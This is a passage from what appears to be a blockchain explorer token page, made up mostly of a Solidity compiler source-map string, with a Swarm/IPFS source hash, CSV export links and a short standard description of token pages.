1268:103;11398:1;11391:5;11387:13;11380:20;;11173:233;;;:::o;11412:180::-;11552:32;11548:1;11540:6;11536:14;11529:56;11412:180;:::o;11598:366::-;11740:3;11761:67;11825:2;11820:3;11761:67;:::i;:::-;11754:74;;11837:93;11926:3;11837:93;:::i;:::-;11955:2;11950:3;11946:12;11939:19;;11598:366;;;:::o;11970:419::-;12136:4;12174:2;12163:9;12159:18;12151:26;;12223:9;12217:4;12213:20;12209:1;12198:9;12194:17;12187:47;12251:131;12377:4;12251:131;:::i;:::-;12243:139;;11970:419;;;:::o;12395:194::-;12435:4;12455:20;12473:1;12455:20;:::i;:::-;12450:25;;12489:20;12507:1;12489:20;:::i;:::-;12484:25;;12533:1;12530;12526:9;12518:17;;12557:1;12551:4;12548:11;12545:37;;;12562:18;;:::i;:::-;12545:37;12395:194;;;;:::o;12595:191::-;12635:3;12654:20;12672:1;12654:20;:::i;:::-;12649:25;;12688:20;12706:1;12688:20;:::i;:::-;12683:25;;12731:1;12728;12724:9;12717:16;;12752:3;12749:1;12746:10;12743:36;;;12759:18;;:::i;:::-;12743:36;12595:191;;;;:::o;12792:177::-;12932:29;12928:1;12920:6;12916:14;12909:53;12792:177;:::o;12975:366::-;13117:3;13138:67;13202:2;13197:3;13138:67;:::i;:::-;13131:74;;13214:93;13303:3;13214:93;:::i;:::-;13332:2;13327:3;13323:12;13316:19;;12975:366;;;:::o;13347:419::-;13513:4;13551:2;13540:9;13536:18;13528:26;;13600:9;13594:4;13590:20;13586:1;13575:9;13571:17;13564:47;13628:131;13754:4;13628:131;:::i;:::-;13620:139;;13347:419;;;:::o

Swarm Source

ipfs://22273ab3b988af2ed69357f4840cd69e4b2e677ee912e0a4d211a5de9b2f8afd
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.